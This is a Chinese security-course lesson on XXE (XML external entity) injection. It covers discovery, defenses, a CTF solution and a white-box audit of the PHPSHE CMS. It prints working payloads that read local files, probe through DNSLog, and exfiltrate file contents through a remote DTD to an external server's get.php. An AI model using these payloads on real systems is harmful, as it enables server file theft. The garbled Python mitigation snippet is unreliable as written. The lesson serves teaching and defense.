小迪安全41WEB 攻防-通用漏洞&XML&XXE&无回显&DTD 实体&伪协议&代码审计

#知识点:

1、XML&XXE-原理&发现&利用&修复等

2、XML&XXE-黑盒模式下的发现与利用

3、XML&XXE-白盒模式下的审计与利用

4、XML&XXE-无回显&伪协议&产生层面

#思路点:

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

-XXE 黑盒发现:

1、获取得到 Content-Type 或数据类型为 xml 时,尝试进行 xml 语言 payload 进行测试

2、不管获取的 Content-Type 类型或数据传输类型,均可尝试修改后提交测试 xxe

3、XXE 不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成

文件中的 XXE Payload 被执行

-XXE 白盒发现: ------针对于xml的相关函数搜索,会增加查找XXE漏洞

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

#详细点:

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可

选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的

信息传输工具。

XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息 ,而 XML 旨在传输信息。

XXE 修复防御方案:

-方案 1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf

=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferenc

es(false);

Python:

From lxml.import etreexmlData =

Etree.parse(xmlSource.etree.XMLParser(resolve_entitles=False))

方案2-过滤用户提交的XML数据:

过滤关键词:<!DOCTYPE>和<!ENTITY>,或者SYSTEM和PUBLIC


Ø XML&XXE-黑盒-原理&探针&利用&玩法等

Ø XML&XXE-前端-CTF&Jarvisoj&探针&利用

Ø XML&XXE-白盒-CMS&PHPSHE&无回显审计


#XML&XXE-黑盒-原理&探针&利用&玩法等

辨别xml和html的数据包:

Xml:php_xxe

Html:

对xml进行分析

通过数据包进行白盒分析 doLogin.php

分析loadXML函数

同时,也能判断出此网页会对解析后的代码进行回显,那此时如果我们对其加入恶意代码让其进行执行,那可以实现:

1、读取文件:

<?xml version="1.0"?>

<!DOCTYPE Mikasa [

<!ENTITY test SYSTEM "file:///d:/e.txt">

]>

<user><username>&test;</username><password>Mikasa</password></use

r>

读取到本地D盘e.txt的文件内容

1.1、带外测试:

指内部服务器能通过某漏洞,将数据外带到外部域名中 DNSLog Platform

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">

%file;

]>

<user><username>&send;</username><password>Mikasa</password></use

r>

收到了内部的IP情况

因此,可以从到无回显的网页中,排去无回显的其他原因(代码写错、网络问题、没有漏洞等情况),当工具网页中,出现了来自内部的iP,则说明XXE漏洞存在,只是不回显数据

2.外部引用实体(有回显) dtd:

利用远程地址让远程地址中的文件evil2.dtd 执行恶意代码

解决了数据拦截防护过滤的问题

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

%file;

]>

<user><username>&send;</username><password>Mikasa</password></use

r>

evil2.dtd

<!ENTITY send SYSTEM "file:///d:/e.txt">

3.无回显读文件

将读取到的文件信息,保存到指定地址中,并让本地接收的文件写入get.php,对读取的文件信息进行收集保存到本地file.txt

Payload:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/e.txt">

<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM

'http://47.94.236.117/get.php?file=%file;'>">

Get.php

4、其他玩法(协议)-见参考地址

#XML&XXE-前端-CTF&Jarvisoj&探针&利用

http://web.jarvisoj.com:9882/

通过数据包分析,它是以json形式

但是我们通过查看源代码,得知关键的信息

可以得知它其实是做了二次处理的,将第一次的数据为xml,然后进行json处理

所以输入payload,并修改type值:将json改为xml

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "file:///home/ctf/flag.txt">

]>

<x>&test;</x>

#XML&XXE-白盒-CMS&PHPSHE&无回显审计

-XXE 白盒发现: ------针对于xml的相关函数搜索,会增加查找XXE漏洞

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

simplexml_load_string

内容确定,得知此函数是在一个函数里面,所以我们要去看看谁调用了这个函数

pe_getxmlpe_getxml

同理,继续看谁调用函数wechat_getxml

找到了notify_url.php,对其进行网页安全测试

Payload:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "file:///d:/1.txt">

]>

<x>&test;</x>

发现没有回显出数据来

所以用外带来进行确认漏洞是否存在

出现ip回显,则说明确实存在XXE

所以直接判定为无回显的XXE漏洞:

分析代码:输出的地方没有设计到变量,所以没有数据是合理的

那就远程读取文件,将文件进行保存,再用get.php进行读取,存入file.txt文件,获取相关内容

相关推荐
蜜獾云5 分钟前
docker 安装雷池WAF防火墙 守护Web服务器
linux·运维·服务器·网络·网络安全·docker·容器
虹科数字化与AR1 小时前
安宝特应用 | 美国OSHA扩展Vuzix AR眼镜应用,强化劳动安全与效率
安全·ar·远程协助
小林熬夜学编程1 小时前
【Linux网络编程】第十四弹---构建功能丰富的HTTP服务器:从状态码处理到服务函数扩展
linux·运维·服务器·c语言·网络·c++·http
Hacker_Fuchen1 小时前
天融信网络架构安全实践
网络·安全·架构
炫彩@之星1 小时前
Windows和Linux安全配置和加固
linux·windows·安全·系统安全配置和加固
上海运维Q先生1 小时前
面试题整理15----K8s常见的网络插件有哪些
运维·网络·kubernetes
ProtonBase2 小时前
如何从 0 到 1 ,打造全新一代分布式数据架构
java·网络·数据库·数据仓库·分布式·云原生·架构
独行soc9 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
GoodStudyAndDayDayUp11 小时前
IDEA能够从mapper跳转到xml的插件
xml·java·intellij-idea
独行soc11 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘